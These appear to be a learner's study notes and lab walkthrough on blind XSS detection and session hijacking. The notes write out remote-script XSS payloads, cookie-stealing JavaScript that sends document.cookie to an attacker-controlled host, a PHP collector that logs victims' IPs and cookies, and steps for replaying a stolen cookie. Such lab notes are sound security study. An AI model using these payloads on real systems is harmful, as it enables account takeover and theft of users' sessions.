# Intro - Most web apps utilize cookies to maintain a user's session across browsing sessions - This enables the user to only log in once and keep their logged-in session alive even if they visit the same website at another time or date - However, if a malicious user obtains the cookie data from the victim's browser, they may be able to gain logged-in access with the victim's user without knowing their credentials - With the ability to execute JavaScript code on the victim's browser, we may be able to collect their cookies and send them to our server to hijack their logged-in session by performing a `Session Hijacking` (aka `Cookie Stealing`) attack # Blind XSS Detection - We usually start XSS attacks by trying to discover if and where an XSS vulnerability exists - However, in this exercise, we will be dealing with a `Blind XSS` vulnerability - A blind XSS vuln occurs when the vulnerability is triggered on a page we don't have access to - Blind XSS vulns usually occur with forms only accessible by certain users (e.g., Admins). Some potential examples include: - Contact Forms - Reviews - User Details - Support Tickets - HTTP User-Agent header - As an example, when we access `\hijacking`, we see the below web page![[images/Pasted image 20251214152911.png]] - Upon registration of a test user, we see the below message ![[images/Pasted image 20251214152917.png]] - This message indicates that we will not see how our input will be handled or how it will look in the browser since it will appear for the Admin only in a certain Admin Panel that we do not have access to - In normal (i.e., non-blind) cases, we can test each field until we get an `alert` box, like what we've been doing throughout the module - However, as we do not have access over the Admin panel in this case, we can test the blind XSS vuln using the same trick we used in the previous section, which is to use a JS payload that sends an HTTP request back to our server - If the JS code gets executed, we will get a response on our machine, and we will know that the page is indeed vulnerable - Nonetheless, this introduces two issues: 1. `How can we know which specific field is vulnerable?` Since any of the fields may execute our code, we can't know which of them did. 2. `How can we know what XSS payload to use?` Since the page may be vulnerable, but the payload may not work? # Loading a Remote Script - In HTML, we can write JavaScript code within the `<script>` tags, but we can also include a remote script by providing its URL such as the below - We can use this to execute a remote JavaScript file that is served on our VM ```html <script src="http://OUR_IP/script.js"></script> ``` - We can change the requested script name from `script.js` to the name of the field we are injecting in, such that when we get the request in our VM, we can identify the vulnerable input field that executed the script - Here, if we get a request for `/username`, then we know that the `username` field is vulnerable to XSS, and so on. ```html <script src="http://OUR_IP/username"></script> ``` - We can start testing various XSS payloads that load a remote script and see which of them sends us a request - The following are a few examples ```html <script src=http://OUR_IP></script> '><script src=http://OUR_IP></script> "><script src=http://OUR_IP></script> javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)') <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script> <script>$.getScript("http://OUR_IP")</script> ``` - Before we start sending payloads, we need to start a listener on our VM, using `netcat` or `php` as shown in a previous section - Now we can start testing these payloads one by one by using one of them for all of input fields and appending the name of the field after our IP - Once we submit the form, we wait a few seconds and check our terminal to see if anything called our server - If nothing calls our server, then we can proceed to the next payload, and so on - Once we receive a call to our server, we should note the last XSS payload we used as a working payload and note the input field name that called our server as the vulnerable input field # Session Hijacking - Once we find a working XSS payload and have identified the vulnerable input field, we can proceed to XSS exploitation and perform a Session Hijacking attack - A session hijacking attack is very similar to the phishing attack we performed in the previous section - It requires a JavaScript payload to send us the required data and a PHP script hosted on our server to grab and parse the transmitted data - Example JS payloads that we can use to grab the session cookie and send it to us ```javascript document.location='http://OUR_IP/index.php?c='+document.cookie; new Image().src='http://OUR_IP/index.php?c='+document.cookie; ``` - We can write either of these JavaScript payloads to `script.js` ## `index.php` - With our PHP server running, we can now use the code as part of our XSS payload, send it in the vulnerable input field, and we should get a call to our server with the cookie value ```bash mkdir /tmp/tmpserver cd /tmp/tmpserver vi index.php #at this step we wrote our index.php file sudo php -S 0.0.0.0:80 PHP 7.4.15 Development Server (http://0.0.0.0:80) started ``` - However, if there were many cookies, we may not know which cookie value belongs to which cookie header - So, we can write a PHP script to split them with a new line and write them to a file. In this case, even if multiple victims trigger the XSS exploit, we'll get all of their cookies ordered in a file - Example code for `index.php` ```php <?php if (isset($_GET['c'])) { $list = explode(";", $_GET['c']); foreach ($list as $key => $value) { $cookie = urldecode($value); $file = fopen("cookies.txt", "a+"); fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n"); fclose($file); } } ?> ``` # Utilizing the stolen cookie - Use the cookie following the above on the `login.php` page to access the victim's account - To do so, once we navigate to `/hijacking/login.php`, we can click `Shift+F9` in Firefox to reveal the `Storage` bar in the Developer Tools - Then, we can click on the `+` button on the top right corner and add our cookie, where the `Name` is the part before `=` and the `Value` is the part after `=` from our stolen cookie![[images/Pasted image 20251214195551.png]] # Exercise ## Initial Enum - Ping test![[images/Pasted image 20251214200112.png]] - Nmap scan![[images/Pasted image 20251214200117.png]] - Visit `/hijacking` web page![[images/Pasted image 20251214200155.png]] ## Blind XSS Detection - Start `php` listener on Kali machine - Start from the top loading the following remote script ```html <script src="http://10.10.14.200/<field_name>"></script> ``` - fullname field - nothing on listener ![[images/Pasted image 20251214200404.png]] - username field - nothing on listener ![[images/Pasted image 20251214200530.png]] - password field - nothing ![[images/Pasted image 20251214200704.png]] - email field - keep getting invalid email alert - picture field - nothing ![[images/Pasted image 20251214201430.png]] - second payload - nothing ```html '><script src="http://10.10.14.200:8080/pic"></script> ``` - third payload - we have a hit on the picture field ```html "><script src="http://10.10.14.200:8080/pic"></script> ``` ![[images/Pasted image 20251214201930.png]] ## Session Hijacking - Setup `script.js`![[images/Pasted image 20251214202145.png]] - Setup `index.php` ![[images/Pasted image 20251214202043.png]] - Prepare XSS payload ```html "><script src="http://10.10.14.200:8080/script.js"></script> ``` - Start listener and inject XSS payload to steal cookie - Looks like there was a GET request for `script.js` ![[images/Pasted image 20251214202444.png]] - We don't have a `cookies.txt` file something went wrongs - Let's looks at `index.php` and `script.js` - Add port to `script.js` - Try again - Still nothing - Replace function in `script.js` with alternative ![[images/Pasted image 20251214202936.png]] ```javascript new Image().src='http://10.10.14.200:8080/index.php?c='+document.cookie; ``` - Try again with php listener - We have more action! ```bash sudo php -S 0.0.0.0:8080 ``` ![[images/Pasted image 20251214203247.png]] - cat `cookies.txt` ![[images/Pasted image 20251214203750.png]] - Visit `/hijacking/login.php`![[images/Pasted image 20251214203353.png]] - [shift+F9] to show storage tab in dev tools ![[images/Pasted image 20251214203438.png]] - add item - enter `cookie` in name filed and `c00k1355h0u1d8353cu23d` in value field - refresh after entering above info > BINGO ![[images/Pasted image 20251214203639.png]]